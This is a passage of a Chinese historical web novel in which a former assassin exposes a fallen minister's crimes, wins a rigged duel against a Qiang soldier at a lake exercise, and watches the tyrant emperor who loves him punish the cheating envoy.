与此同时,同样身处天牢的王道傀正在闭目养神,算算日子,世子失踪的消息应当早就传出来了。 琅琊王氏的人会找出世子,戴罪立功,而他,也会成为合辑两族的功臣。 残烛中的灯油燃尽了,迟迟不见有人前来添油。 王道傀心中愈加不安,先帝时期,他之所以能叱咤朝野,全因天时与人和。 彼时谢太后带着年幼的元熙帝移镇江东建邺,改名建康,定都于此,开立新朝,定年号为建元。 新朝初立,风雨飘摇,外有异族虎视眈眈,内有豪强觊觎权位,元熙帝只能与他们共治天下,前者有名,殷室正统,天命所归,后者有权,镇压两姓,抵御外敌。 至于庶民,是士族的附庸,财产。 如今,形势已经大为不同。 昭肃帝是个疯子,皇权在他手中得到了极致的掌控,没人能与他共享权位,共治天下。 王道傀静静坐了很久,想起这一生翻云覆雨,朝野煊赫,那年在家族运作下少年登科,春衫薄,骑马过长街。 琅琊王氏举族南渡江东后,为了收拢南士,他权衡利弊娶了一个南姓高门的女子,他不爱她,做的一切都是为了蚕食她的家族。 后来,那女子失去家族依仗,囿于后宅,郁郁寡欢,为他生下长子,取了小名鉴心,当晚便殁了。 临死前,她说她要回家。 她是琅琊王氏的主母,死后会进琅琊王氏的祠堂。 她的家就在这里。 王道傀不知道为何自己会想起她,想起天光将明时,她卧在猩红床榻上,脸上湿漉漉,冷浸浸的白,凄切地说要回家。 如果这次他还能离开天牢,他就命人把她迁回故乡。 烛火最后扑朔了两下,彻底熄灭,天色渐渐亮了。 二月末,北人的使者再度来到了南朝,这一次,他们是来讨要世子的。 太极殿前殿,帝王正在接见使者。 距离不远的西堂,赢秀正在看寿春坞主案的断由与判牍,上面写的一清二楚,王道傀串通王誉等人,设计寿春坞主案。 建元十一年,利用先帝急诏,召回接连收复中原关内三州的瘐家军,蛊惑圣心,残害忠良,致使瘐家满门被抄,瘐家军就此分割离散,随着瘐家一同南迁的翼州百姓沦为奴籍。 一晃十四年过去。 终于沉冤昭雪。 赢秀说不出内心是什么感受,只觉眼前有些模糊,他抬手拭泪,翻看下一卷案牍,继续往下看。 上面密密麻麻,写满了王道傀的罪行,直看得赢秀叹为观止。 这是顺带顶了多少人的罪? 随着三司的张榜贴在铜驼大街的朱墙上,京畿再次沸腾,琅琊王氏倒台,瘐家沉冤昭雪,这桩案子着实轰动。 据说,那位未来男后是瘐家人,陛下为了给他出气,故而扳倒琅琊王氏。 一时间,京师兴起无数天子与男宠之间的燕闻秩事,不到半日里,话本子都不知卖了多少。 什么一怒冲冠为蓝颜,割袍断袖之癖,直传得闻者落泪,见者伤心。 就连羌人使者二度进京的消息,险些也被淹没。 午后,等到帝王结束接见,回到西堂。 赢秀正好将卷宗看到第十二遍,他看得眼花缭乱,一壁起身迎接谢舟,一壁道:“这上面的卷宗不对,主公应当替不少人顶了罪。” 刺客早已习惯唤王道傀为主公,刻在骨子里的等级烙印还未褪去。 帝王走进大殿,随意瞥了一眼案几上凌乱的卷宗,不看也知道,赢秀说的都是对的。 底下的朝臣弄些小花样,他并不在意。 一旦涉及他的底线,正好数罪并罚。 “先用膳。”帝王平静道。 赢秀正想把自己圈在卷宗里的疑点拿给谢舟看,发觉谢舟眉眼间淡淡的倦色,又把话咽了下去,乖乖坐了下来。 察觉到少年心情不佳,谢舟垂眸,望着他,平静地解释道:“这些都是小事。” 身处高位,手执至高权柄,朝臣犯些小错,只要不涉及到他手中的皇位,都是小事。 帝王不会提醒,也不会教化,只会筛选,犯错到一定程度的权要,他会直接换掉。 至于怎么换,自然是抄家灭族,清查家产。 赢秀愣了一下,“可是,这都是一条条人命。” 每一桩冤假错案背后,都是血淋淋的人命。 在这方面,赢秀总是格外执拗,黑是黑,白是白,过当罚,功当赏。 对刺客来说,生就是生,死就是死,一剑见分晓。 侍立在不远处的内监总管眼皮一跳,郎君未免也太大胆了,竟然敢和陛下争执,陛下是喜欢他,但他不能如此放肆。 帝王并没有动怒,喜怒莫测,那张令赢秀驰魂宕魄的眉眼淡然平和,循循善诱:“你有权力,自然可以彻查。” 他说,“皇帝有皇权,皇后也有。” 第69章 第 69 章 离鸾有恨 赢秀一时怔愣, 权力…… 不知为何,他乍然想起了在江州时,谢舟给他的使持节, 代行皇权, 可杀两千石以下官员。 那日沅水祭典上, 他试图用鬼神之说阻止他们抛粮入水, 却毫无作用。 一拿出符节,权贵豪强便跪了一地。 ……这就是权力, 这就是皇权么? 在帝王不动声色的凝视下, 赢秀摇了摇头,语气认真:“现在还不是时候, ” 内患稍安,外忧未平,他不能在这种情况下当谢舟的皇后。 与先前差不多的理由,听到这句话, 帝王没有开口,秀丽冠帻下, 仙姿佚貌的面容上没什么表情,平静澹然,仿佛早有预料。 赢秀望着他,想到自己已经拒绝过谢舟两三次, 思索片刻, 低声道:“等到天下一色,风月同天,我就当你的皇后。” 少年的声音低缓认真,声量不高,却足以清晰地响彻大殿。 天下一色, 风月同天。 当初在莲叶接天的楼台上,黑白纵横的棋局面前,少年刺客第一次提到天下一色。 帝王低覆眼睫,他可以一统天下,让南朝的版图扩大到关外,至于天下一色,风月同天…… 也不难办。 他会让赢秀知道,他想要的,他都可以给他。 普天之下,也只有他能给。 帝王轻声道:“好。” 他伸手,轻抚金裳少年漆黑的髯发,语气轻柔:“到那时候,你可不许食言。” 被摸头的感觉很舒服,赢秀不由自主地靠了过去,心下暗暗松了一口气,其实,他还是有点怕殷奂。 他也害怕当皇后。 赢秀当刺客的时候,上峰常常告诫他,刺客最好的下场就是功成身退,成为主公身边的心腹家臣。 这是刺客能成为的最厉害的人。 上峰从来没有告诉他,原来刺客还能当皇后…… 赢秀压下心底那一丝隐隐的胆怯,一转念,问起羌人来朝一事。 羌人使者此番来朝,不同于上次请求南北互市,他们这次还带来了族中部曲的精锐,足有数百水兵。 方才在太极殿,使者先是旁敲侧击问了世子的下落,发现问不出什么,又提议两朝演兵,互相比试。 在赢秀面前,帝王毫无隐瞒,缓声道:“寡人已经答应他们下个月在玄武湖演兵。” 此次演兵,乃是羌人出兵前的试探,一旦南朝落了下乘,羌人便会立即举兵,南下征伐。 羌人有意南征,殊不知,南朝亦有心北伐。 赢秀来京不久,虽然听说过玄武湖,知道这是金陵四十八景之一,位于玄武门外,却没有见过。 他也想去看两朝演兵,少年眼眸亮晶晶的,一脸期待地望着谢舟。 帝王静静看了他一眼,声音温和却不容置喙,道:“届时,你好好待在太极殿,不要靠近玄武湖。” 他不允许赢秀有任何出事的可能。 赢秀失望地垂下眼睫,“不去就不去,都听你的。” 两朝即将在玄武湖演兵的消息逐渐传开,不少身在南朝经营货殖的羌人商贾闻讯而动,连夜收拾东西,准备赶在两朝开战前回到北方。 至于南朝士庶,士族关起门来筹谋,生怕自家的功名利禄受到影响,庶民忙着清点家财,将米缸里的粮食数了一遍又一遍,只盼着能活到天下彻底太平那一天。 消息一路传到北朝,传回国都长安。 长安城,明光宫内,朝臣身着羊角花纹的右衽长衫,跪在殿前氍毹上,手举类似南朝的笏板,口中恭贺大王。 “大王,如今南人要在玄武湖与我朝比试兵力,他们苟安江左,兵力羸弱,定然不及我朝。届时我们沿着西汉水、永水、钶水兵分三路,举兵南下,不出三月,定能拿下南朝!” 端坐在龙椅上的羌王朗声大笑,他已近知命之年,一身藏青色毪衫,双手随意搭在扶毂,身躯微弓,似在蓄力,宛如野兽随时准备进攻。 眉锋如刀,美狰之辈。 比起朝臣的奉承,另一个人听到这一切的表现更让羌王期待,他站起身,径直朝明光宫南面走去。 朝臣彼此相觑,心照不宣,大王这是要去看他的战利品。 为北人所据的明光宫南面有一处禁地,名为鸾台,高百尺,住着一个南朝女子。 羌王摈退无舌的宫人,慢慢登上鸾台最高处,红衣女子凭阑而立,柔软发带随风逶迤,仿佛随时会消失在眼前。 “阿鸾,我很快就能带你回家了,你高兴吗?”羌王走到她面前,挡住她远眺南方的视线。 明昔鸾抬眸看了他一眼,目光不咸不淡,好似没有看见他。 羌王没有在意明昔鸾的态度,他自顾自说道:“很快,我就会南征,一举攻下南朝,替你杀了那群当年诬陷你的人。” 明昔鸾笑了一下,正在自说自话的羌王瞬间停下,痴痴地凝视她。 “那你应该先杀了自己。” 在外人眼中柔软,羸弱不堪的病美人如此道。 这么多年,羌王已经习惯她要么不开口,一开口便是话里带刺,他毫不在意,甚至颇为享受,轻轻点了点自己的心口。 “还记得吗?建元十年,下邳之战,你带兵夜袭,一箭穿透了我的心口,可惜箭偏了一寸,我没有死。” 最可笑的是,中箭之前,他听说带兵攻打扬州的是一名女子,世人称作赦夫人,还不以为意,轻敌懈怠。 无星无月的长夜中,剧痛之下,年轻气盛的羌王带着猎人被猎物反咬一口的愤恚,牢牢地记住了那双明亮冰冷的眼眸。 即使那是敌将之妻。 明昔鸾闭上眼,没有看他,羌王自言自语了一会儿,孤身走下鸾台。 十四年过去,他老了,一步一步,远不如青年时走得快。 宫人十年如一日地送上软筋散,却正好撞见下楼的羌王,羌王看了她一眼,挥了挥手,“不必了。” 不必再给她送药了,即使没有软筋散,明昔鸾也无力伤他了。 高楼之上,明昔鸾静静地望着南方,袍裾下,手中躺着一面破碎的明镜。 下一次,不会再偏了。 …… 一晃三月已至,一转头,在玄武湖演兵的日子便到了。 赢秀百无聊赖地躺在西堂的飞来椅上,腰后垫着凭几,怀里抱着一只金鹤绣囊。 窗光疏朗,映照衣摆如云,懒散垂下,好不惬意。 往常这个时候,鸱鸮应当在金笼里大快朵颐,今日却不见踪影。 赢秀睁开眼,看了空空如也的金笼一眼。 内监总管止不住地抹汗,一清早鸟出去溜达消食,结果直到现在还没回来,他已经派了人出去找,怎么都找不到。 殿外,一位女官款步而来,停在廊下,手里提着一只鸟笼,笼中装着一只圆滚滚的鸱鸮。 隔着两重窗棂,赢秀一眼便看见了笼中的鸱鸮,那是他的鸟。 他猛然站起身,朝外走去,远远看见内监总管正在与女官对话,似乎是要她将鸟放下。 金裳少年踏出殿门,女官看向他,露出一个笑容:“奴婢在花圃捡到了这只鸱鸮,交给太后,太后听闻是您豢养的鸟,命奴婢交还给您。” 赢秀还未说话,内监总管抢白道:“有劳了。”说着便要让宫人接过鸱鸮,女官松开手,递出笼子,笑容不变:“娘娘说了,郎君若是得空,不妨来慈宁宫坐坐。” 内监总管眼眸微沉,端着笑,客气疏离道:“郎君年少,只怕会叨扰了慈宁宫。你且先回去伺候太后。” 最后一句话,赫然是明晃晃的赶客。 女官脸上的笑容淡了几分,太极殿的人还是这么软硬不吃,就跟铜墙铁壁似的。 等到那位女官走后,内监总管正要仔细检查鸱鸮和笼子,鸱鸮早已在笼子里缩成了圆圆的一团,赢秀见状伸出手,“给我吧,它被吓着了。” 赢秀一面抱着鸱鸮往里走,一面轻轻抚摸它的翎羽,忽然触碰到一块坚硬的异物,他动作一顿,抽出那块东西。 是张纸条,上面写着—— 琅琊王氏刺客,赢秀,字扶危。 那位讨厌谢舟的太后,知道了他的身份。 赢秀将纸条翻过来,发现背面写着慈宁宫三字。 这是要他去慈宁宫的意思吗? 赢秀思索了半天,有些不确定,索性叫来了内监总管,内监总管看见纸条,面色微微一变,有一瞬间的严肃冰冷。 “郎君,您好好待在这里,此事交给奴婢解决。” “哦!”赢秀点点头,抱着鸱鸮,将它放回金笼中,任由它坐在鸟粮上,继续躺在飞来椅上,闭眼打盹。 慈宁宫。 谢太后等了一个时辰,等到日晷逐渐向下偏移,她终于睁开眼,淡淡道:“看来,他并不在乎身份暴露之事。” 既然刺客不在乎,不知道南朝上下,会不会在意他们未来的国母是个杀人不眨眼的刺客…… 能给皇帝找麻烦的事,谢太后向来乐此不疲。 毕竟,昭肃帝倒台,她看中的人才能上位。 玄武湖两朝演兵足有三日,前两日都是南朝胜出,直到第三日,羌人使者骤然走下丹犀,高声发问:“听说陛下身边有一剑客,不知可否让他出来一试?” 羌人使者说的十分委婉,用剑客代指,在场众人都知道他说的其实是刺客。 说来好笑,那位刺客刺杀了皇帝,却被皇帝捧在心尖,甚至视他为南朝未来的皇后。 也不知,皇帝是被骗了,还是心甘情愿? 第70章 第 70 章 替他出气 无论南朝帝王究竟是被蒙骗, 还是心甘情愿,堂堂一国之主,竟然和一个刺客厮混, 荒谬绝伦。 羌人使者在心底冷笑, 面上笑意吟吟, 只等着帝王发话。 不管帝王应允还是拒绝, 这件事传出去,足以让南朝面上蒙羞。 阅武台之上, 端坐在最高处的帝王垂眸, 远远睨了他一眼,目光不轻不重, 却叫羌人使者心内发憷,浑身泛起刺骨的津津寒意。 使者强装镇定,露出一个笑容。 都说南朝帝王暴虐恣睢,手段残忍, 少年时北伐屠城,杀了上万羌人。 ——想不到竟然是一个这样威仪清冷, 昳丽绝艳的美人帝王。 “寡人看,这些羌兵也并不如何,不如使者亲自下场?” 帝王湛若冰玉的声音越过高台,传到使者耳中, 他骤然僵住, 前两日玄武湖比试,他已经看出南朝的五校尉远胜于羌兵。 倘若要他下湖登船,与这些血肉兵器厮杀搏斗…… 使者打了个寒战,连连婉拒。 玄武湖上,两朝士兵已经来到了深水域比试, 羌兵明光披甲,魁梧狰狞,立足在礁石上,相比之下,半个身子浮在水中的南人便显得有些清癯。 此次比试,谁都不能动用兵戈,全靠力搏。 只论输赢,不决生死。 南朝士族暗暗捏了一把汗,体型如此悬殊,也不知他们能不能赢下此局。 羌兵先是在水中朝南人行了一个礼,略微躬身,并不恭敬,南人同样躬身回礼,下一刻,拳风迎面而来,直直冲着他的鼻梁骨而去—— 还算平静的水面骤然爆开冲天水花,两朝士兵在水面厮杀得不可开交。 半刻钟后,水花平息。 雾中露出逐渐弥漫的血色,南人的尸首静静地横在湖面,羌兵立在原地,笑容得意。 阅兵台上,羌人使者施施然露出一个笑容,反观南朝,王公贵族皆是面色一变。 太医下湖查探,神色突变,颤颤巍巍道:“没气了……” 南朝士兵,死了。 帝王神色冰冷,轻轻扫了使者一眼,原本还得意万分的使者瞬间噤了声,笑嘻嘻道:“陛下,胜负已分,这一局,是我朝赢了。” 帝王居高临下地睨着他,轻声道:“再来。” 使者笑容不改:“既然如此,那微臣便听陛下的。” 第二次,同样的水域,同一位的羌兵,不同的南朝长水。 水花再次迸溅,遮住众人的视野,水花散尽后,南人已经奄奄一息,不屈的目光瞪着羌兵,虚弱地说了一句:“你使诈……” 可惜距离太远,他的声音太低,无人听见。 羌兵放声大笑,用羌语高声质问:“还有谁?!” 下一个死在他手上的,会是谁?! 连胜两局,一洗前两日连败的耻辱,在座的羌人扬眉吐气,甚至在众目睽睽之下,站起身,互相谈笑。 帝王不动声色,轻叩案几,还不等他开口,一道清朗的少年声音陡然打断了羌人刺耳的大笑:“我来!” 众人循声望去,彩楼丹犀上,金裳少年越阶而上,长风拂过他流溢的发带,漾出流水似的华光。 他忽而停下脚步,侧身,伸手扶正宫墙上垂曳而下的花枝,随后径直登上阅兵台。 京都江南佳丽地,金陵帝王州,花阴下,少年人。① 当真是极美的一幕。 台上众臣各有所思,想来,这就是那位“男后”了。 去年岁末年宴,陛下让他坐在凤椅,一同参宴,如此僭越,却迟迟不见立他为后。 可见,陛下只是一时兴起,并非真的有意要立他为后,也不知这少年究竟来此作甚? 这可是阅兵台,两朝会晤,互相较量,如此森严肃穆之地,岂是区区一个脔宠能来的地方? 众人心中千回百转,谁也没有率先开口,反倒是独坐高台的帝王骤然起身,视线牢牢锁住赢秀,“你怎么来了?” 这句话落在诸人耳中,便成了明晃晃的质问——这不是你该来的地方,他们目光各异,多是轻慢倨傲,全然不把赢秀放在眼里。 赢秀毫不在意,朝谢舟挥了挥手,兴致勃勃:“……陛下,我来试一试!” 毕竟是在人前,赢秀十分乖觉,咽下了即将脱口而出的谢舟,也没叫帝王的本名,而是同众人一样,唤他为陛下。 这个称呼足够尊敬,却也透着十足的疏离,客气。 帝王微微眯起眼,眼眸中掠过一丝危险,他不会在外人面前落了赢秀的面子。 但是,此事如此危险,怎能让赢秀插手…… 使者看看赢秀,又看看帝王,笑道:“都是南朝金陵帝王乡多美人,想不到微臣一来就看见了两个绝色美人。” 言语中的轻佻几乎要溢出来,笑容轻慢,仿佛在给物件沽价。 赢秀转过头,乜了他一眼,“如果我赢了,我能否向您讨一件东西?” 使者含笑,毫不在意地应下,自以为风度翩翩:“只要是微臣身上有的,你尽可以取走一样。” 使者符节,裘褐披毡,钱袋配饰,只要这个刺客要的,他都可以给。 反正,他也赢不了。 使者甚至没有想过,赢秀输了要赔什么赌注。 因为,结局已经注定,这个少年要赔的是命。 赢秀点了点头,轻轻一笑,那笑容叫在场之人有些呆住了,“一言为定。” 还不等帝王开口,金裳少年足尖一点,飞身而起,袍裾迎风鼓起,宛如一只秀气的金鹤,朝着玄武湖,从高台轻捷飞落。 玄武湖好似一面巨大的境面,横在辽阔天地间。 五百楼船十万兵,登高阅武阵云生。② 阅武台上两朝臣子眼睁睁地看着少年从高台跃下,瞳孔陡然缩紧,这少年是要寻死不成?! 他们纵横官场,从未见过如此鲁莽之人,不由地提心吊胆,下意识倾身靠近台下,一眨不眨地盯着赢秀。 湖光水色,一碧万顷。 那抹金色轻飘飘地落在水面上,衣袂翻飞如落花,置身奇湖,却如履平地,踩着水,缓缓走向那位满身血腥的羌人。 “你不是问,还有谁么?” 少年停在他面前,脚下水波不动,流风萦绕,“我,南朝赢秀,来与你一战。” 湖面空旷,两朝舰船泊在不远处,少年的话传遍玄武湖,一直传到阅武台上。 羌人使者不以为意,虽然这少年出场方式着实玄乎,但是那又怎样,这些年奇兵诡诈的花架子他们见得多了,这算什么? 金陵富贵乡的少年,高门士族的刺客,帝王的男宠……管他是谁,就这体格身形,不出一招,便会死在羌兵的手下。 帝王指尖微微收紧,轻轻抬眸,看了一眼隐匿在暗处的暗卫,缓缓移目,眸光落在使者身上,视线森冷,隐约透出淡淡的杀意。 有道是,两国开战,不斩来使。 ……那又如何? 玄武湖上,体壮如山的羌兵歪头,摸了一把脸上的血迹,打量着眼前精致秀气的少年,咧开嘴,桀桀笑了两声,善意地询问道:“就你?” 他颇有善心,转头看向阅武台,伸手指了指赢秀,用羌语问道:“他?” 这个少年,还不够他塞牙缝的。 相比一脸不屑,半个身子淹没在湖水中的羌兵,赢秀立在水面,翩如惊鸿,两人对比鲜明,前者像是一座巍巍小山,后者显得很是渺小。 “可以开始了么?” 赢秀轻声问道,他用的南朝的语言,羌兵听不懂,看他神色,察觉出此人完全没有把自己放在心上,原本的不屑骤然变成了愤懑。 羌兵冷笑,指了指赢秀的脑袋,又抬高了些,指了指自己,那意思不言自明,这是在嘲笑赢秀的身高。 赢秀最不喜欢别人嘲笑他矮,七尺七寸,放在正常人中,怎么也不算矮。 都怪他们长得太高了,少年抬眸,不咸不淡地打量了羌兵一眼。 这是他悄悄从谢舟身上学来,用这种眼神看人,宛如看狗。 羌兵果然勃然大怒,五指攥成拳,恨不得现在就杀了赢秀。 号角吹响,搏斗开始。 羌兵故技重施,一拳砸中水中,溅起巨大的水花。 他趁着水花遮挡阅武台的视线,正要举起手,露出套在十指上的虎爪匕首,就像曲掌砸破前两个士兵的颈项一般,砸断这个金裳少年的颈项—— 谁知,一眨眼功夫,那少年便不见了,羌兵困惑不已,转身环顾左右,他刚转过头,身后陡然出现了一道清癯的身影。 阅武台上,眼看着湖面上再次迸溅水花,沆砀水雾掩住两道一高一瘦身影,看不清情势究竟如何。 羌人使者老神在在,一脸淡然,甚至还有闲心劝说南朝众臣稍安勿躁。 南朝臣子冷冷地望着他,那个刺客再不济,出身再卑贱,也是南朝的人,是陛下的人,倘若真的死在了羌兵手下…… 只怕,羌人使团得把脑袋留下来。 众人各有想法,目光紧紧盯着玄武湖,不约而同地在心内默数,一息,两息…… 前两次,只要等到第三息,水花就会平息。 羌兵会胜出,那个少年会死去。 谁知,一直等到第三息过后,也不见湖面上水花平息,反而激起越来越高的江水,一重重,仿佛有人正在用力挣扎,竭力拍打湖面。 帝王走下高台,无视众人的目光,靠近玉阑,垂眉俯视着湖水,他看了片刻,伸出手,禁军统领察言观色,解下弓弩,小心翼翼地用双手递给他。 弓弩很沉,称得上万里挑一的千钧弩,箭镞冰冷寒凉,森然可怖。 被执掌在一双骨节明晰,修长匀称的手中,帝王搭上利箭,绷紧了弓弩,朝向湖面,蓄势待发。 众臣悚然,陛下这是要杀了那位羌兵,还是要杀了那个不中用的刺客?! 还不等他们想出应对的法子,水花稍微平息,隐约露出两道身影,帝王按弓的指骨缓缓用力,骤然松手—— 箭镞呼啸而出,刺破浩荡江风,由上至下,穿透了水花。 “砰——” 一声巨响,砸起更大的浪花。 似乎是一个什么沉重的东西轰然倒在湖面上,羌人对这个结果并不意外,笑得淡然,甚至出声宽慰:“陛下,人死不能复生,愿赌服输——” 下一刻,他的笑容僵住了。 玄武湖渐渐平息,金裳少年袍裾微湿,静静地屹立在广阔镜面上。 至于那位羌兵,已经沉入湖水,只剩半个脑袋浮在水面。 日光下,少年伸手,举着一个什么闪闪发亮的东西,迫不及待地告状:“殷奂,他耍诈!” 那是一对锋利的虎爪指套。 看清那是什么,羌人使团惊疑不定的脸色骤然一变,连忙走下高台,打算出声辩解,正欲开口,却对上了对面南朝众臣的目光。 在座的无一不是南朝权要,久经官场,城府深沉,他们自认已经泰山崩于前自岿然不动,平生头一次在人前瞪目结舌。 不怪他们,谁能想到,赢秀,一个帝王的男宠,一介少年刺客,竟然能赢下身强体壮的羌兵。 甚至,他还在众目睽睽之下直呼陛下的本名。 此为大不敬。 看陛下神色,似乎已经习惯了,甚至眉眼间还透着隐隐的愉悦。 是他们的错觉么?众臣面面相觑。 帝王放下弓弩,紧绷的面色微微一松,朝赢秀勾手。 少年手举着虎爪,礼貌地朝驱船上前嘘寒问暖的舰船笑了笑,脚下凌波,越过万顷江波,径直飞上丹犀。 三步作两步,疾步跳上层层台阶,赢秀奔到谢舟面前,朝他示意手上的虎爪,明亮的眼眸有星子般的怒意,恶狠狠地重复了一遍:“他们耍诈!” 想不到这个少年说话如此直接,丝毫不给人面子,竟然直接了然地揭穿了他们。 方才还兴致高昂的羌人使团顿时无地自容,低下头,恨不得找一个地洞钻进去。 使者强装镇定,听完手下的禀报,脸上总算有了一丝血色,“陛下,您中途射箭,一箭穿心,杀了我们的士兵,这于理不合吧?” 帝王全然没有理会他,仿佛没有听到他说话,专注地望着赢秀,剥开他被鲜血浸染的袍裾,就要检查他身上的伤势。 “……疼吗?” 赢秀何曾见过谢舟这般小心翼翼的模样,他缩了缩手,有些不好意思:“不是我的血,是那个羌人的……” 仔细检查完他的手臂,再三确认他确实没有受伤,谢舟这才放下心,神色愈发冰冷,背对着众人,将赢秀圈在自己怀里,低声问道:“是谁让你来的?” 提起这个,赢秀不免心虚,他已经答应谢舟不会来玄武湖参加两朝演兵,但是……说来话长。 他顾及阅武台上还有许多人在场,连忙挣脱谢舟的怀抱,扬起下颌,看向那位使者。 “我赢了,愿赌服输,您该给我一样东西。”少年掷地有声,瞬间吸引了所有人的目光。 分明只是个不足九尺高的弱冠少年,使者却浑身一凉,额头冒汗,心底寒津津,试探着问一句:“你要什么?” 无非是金银财宝,最过分的就是要他的使者符节,让北朝颜面扫地…… 刹那间,使者思绪万千。 却看见少年转身问帝王,献宝似的,一脸期盼,“殷奂,你想要什么?” 殷奂,南朝帝王的名字。 使者脑袋骤然轰鸣,后知后觉地想起,帝王是出了名的暴君,残忍暴虐,根本不是他一个使者可以言语轻慢的。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 第 71 章 “那你罚我吧……”…… 天清气朗, 阅武台上一片寂阒,惟有旌旗猎猎晃动。 帝王笑了一下,所有人都低眉垂首, 不敢直视天颜, 那笑容只有赢秀一人看见了, 他骤然怔住, 下意识捂住心口,不让胸膛内的心脏跳出来。 “寡人要他的眼睛。” 帝王语气轻飘飘的, 却如惊雷在羌人使团耳边炸响。 眼睛, 他竟然要使者的眼睛。 使者率众出使南朝,代表的是北朝皇室的颜面。 此举这是在明晃晃地打北朝的脸! 羌人使团只能寄希望于那位少年男宠, 瞧着不过绮纨之岁,总不至于如此残忍…… 不止是他们,南朝的王公大臣也是这般作想,那少年应当会拒绝, 劝陛下改要别的东西,亦或者, 为了保住盛宠,会战战兢兢地答应。 两朝臣子心思千回百转,赢秀转身面朝那位羌人使者,笑道:“既然如此, 还请使者大人愿赌服输, 遵守诺言。” 既然殷奂想要,他会给他讨来。 少年眉眼略弯,髯发微湿,细细的几缕,凌乱搭在耳后, 眼眸乌黑湿润,水洗般的明亮,带着认真,全然不觉自己说了一句怎样的话。 南朝权贵彼此递了个眼色,这少年,说他残忍,倒也不像,甚至气质里浑无一丝戾气,有的只是一片清澈。 说他天真良善,竟然当真附和了陛下的话,讨要使者的眼睛。 面对种种暗含审视的复杂视线,赢秀倒是没什么反应,愿赌服输,难道不是天经地义吗。 更何况,使者说了,只要是他身上有的,都可以给他。 这个要求,也不算过分。 羌人使团面色涨红,此等奇耻大辱,南朝欺人太甚! 南朝大臣在暴君底下讨生活,早就看惯了这种事,即便对赢秀的反应有些诧异,却不妨碍他们出言揶揄:“信,国之宝也,民之所凭也。北朝这是要言而无信?” 羌人使者自然不肯答应,没了眼睛,与要他性命何异,甚至还比要他性命更加残忍。 “叽里呱啦……” 使者急声道,他来时没有用心学习南语,说得磕磕绊绊,如今一着急,说话更加颠三倒四,让人摸不着头脑。 译令史沉默片刻,急得髯须都要冒汗了,艰难地把话翻译了过来:“启禀陛下,使者说,您方才拉弓射箭,帮了赢秀,违反了两人力搏,不许他人相助的规矩。” 他紧张地说出最后一句话:“所以,此局不算南朝赢。” 赢秀再度举起手中的虎爪,据理力争:“前两局他们耍诈,这又怎么算?” 使者耍无赖道:“这是我们北朝的东西么?说不定是你自己带来的,用这个伤了我们北朝的勇士。” 赢秀气得面颊微红,细细密密的薄汗洇湿了鬓发,他还想说些什么,头顶骤然一凉,似乎是什么冰凉柔软的东西贴了上来。 一直安静不动的帝王用软帕轻轻擦净少年的湿发,轻声夸奖他:“赢秀,你真厉害。” 一句话瞬间浇灭了赢秀熊熊燃烧的怒火,他高兴得眼眸亮晶晶的,习惯性地蹭蹭谢舟,又怕身上的血迹弄脏了谢舟的衣裳。 只能虚虚靠近,维持着约摸一指的距离。 帝王俯身,毫不在意衮服上沾染血迹,一壁给少年擦汗,一壁轻声道:“把他拖下去,剜了他的眼睛。” 声音很轻,却无人胆敢不从。 使者的叫嚷被堵在口中,北朝的使团眼睁睁看着披甲的禁军带走了他们的主心骨,想要开口阻拦,却被南朝宿卫的煞气所震慑。 他们奉旨来到南朝帝王乡,本以为等待他们的是无道的昏君,软绵的兵力,怯懦的的朝臣。 预想中,再过几月,北朝的铁蹄会来到这座六朝古都,烟雨中的亭台楼阁会向他们敞开,金帛珠玉,水乡佳丽,任他们随意攫取。 谁能想到…… 使团脸色苍白,望着玄武湖上森罗密布的舰船,磅礴的野心忽然变成了不安。 雪白的软帕细细擦过赢秀的发梢,赢秀仰起头,莫名有些难捱,他总觉得,谢舟的触碰让他…… 赢秀踮起脚尖,伸手去拿谢舟手里的帕子,顺势抬眸看了谢舟一眼,慌乱解释道:“……我自己来。” 帝王没有反抗,任由赢秀从他指尖取下软帕,少年用帕子胡乱地擦了擦自己的鬓发,小心地叠好帕子,悄悄揣进袍裾里。 动作勉强称得上行云流水,仿佛早已在心中预演了一遍。 ……看上去很忙,却不知在忙什么。 看出赢秀在心虚,帝王伸出手,骤然攥住他缩进袍裾中的左手,果不其然,左手指尖上有些细小的伤口。 方才检查的时候,赢秀便一直刻意避着不让他看这里。 手被攥住,细细查看那一刻,赢秀说不出的慌乱,说来说去,都怪那位羌兵暗藏虎爪,虎爪锋利,上面覆盖密密麻麻的尖锐寒刃,实在防不胜防。 不过,这点小小的伤口,谢舟应当不会在意。 “来人,传御医。” 帝王捉住赢秀的十指,翻来覆去地看了个遍,最终道。 赢秀:“……” 真的没必要麻烦御医…… 他刚想开口,一抬头,却被谢舟冰凉的视线惊住,心虚得垂下眼,不敢吭声。 太医院的御医早就侯在一旁,他们方才协助仵作检查过两位长水的尸首,得知陛下的男宠参与了第三局搏斗,本以为他必定重伤,兴许已经死了。 一群白发老翁健步如飞,急匆匆地带着仵作冲了上来。 看清少年身上的伤势后。 仵作:“……” 太医:“……” 外界传闻这位郎君是出身士族的刺客,如今看来,传闻不假。 果真能打,你别说,倒是与陛下挺般配的。 赢秀坐在阅兵台最高处的黼座之上,谢舟立在黼扆前,俯身看他,太医战战兢兢地给赢秀诊脉。 众人看似平静,心中早已掀起惊涛骇浪,那可是陛下专属的黼座,普天之下,也只有帝王能坐,陛下竟然让给了那位男宠…… 这是……这是…… 他们惊骇不已,就连对南朝习俗一窍不通的北朝人也察觉了些许端倪,在北朝,无论羌王如何宠爱阿依,都不可能把龙椅让给阿依坐。 这是权柄的象征,不能让任何人沾染,哪怕是注定践祚的太子,没到继位那一日,胆敢多看龙椅一眼,都是天大的罪过。 帝主位居尊极,无人能与共登临。 这是横贯千秋的无言铁律。 两朝臣子你看看我,我看看你,脸上的敌意被震惊取代。 赢秀只觉身下的椅子还挺大,足够他和谢舟一起坐,他热情地招呼谢舟:“这是你的椅子,你和我一起坐吧。” 谢舟似乎笑了一下,摈退太医,亲自接过膏药,立在赢秀面前,不露痕迹地挡住了身后那些人望向赢秀的视线。 帝王没有回应少年的话,缓缓晕开在掌心膏药,攥住少年肿胀的指尖,不轻不重地揉捏,不答反问:“赢秀,还记得寡人说过什么吗?” 该来的还是来了。 赢秀视死如归,小声回答:“记得。你让我不要来玄武湖,这几日也不要离开太极殿。” 话音甫落,少年忍不住嘶了一声,就在方才,帝王揉捏的力度骤然加重,神色却没什么变化,仿佛只是不小心。 赢秀犯了错,也不敢说谢舟,低着头,默默受着。 良久。 帝王终于开口,声线冰冷如玉:“既然记得,”他居高临下问道:“为什么不听话?” 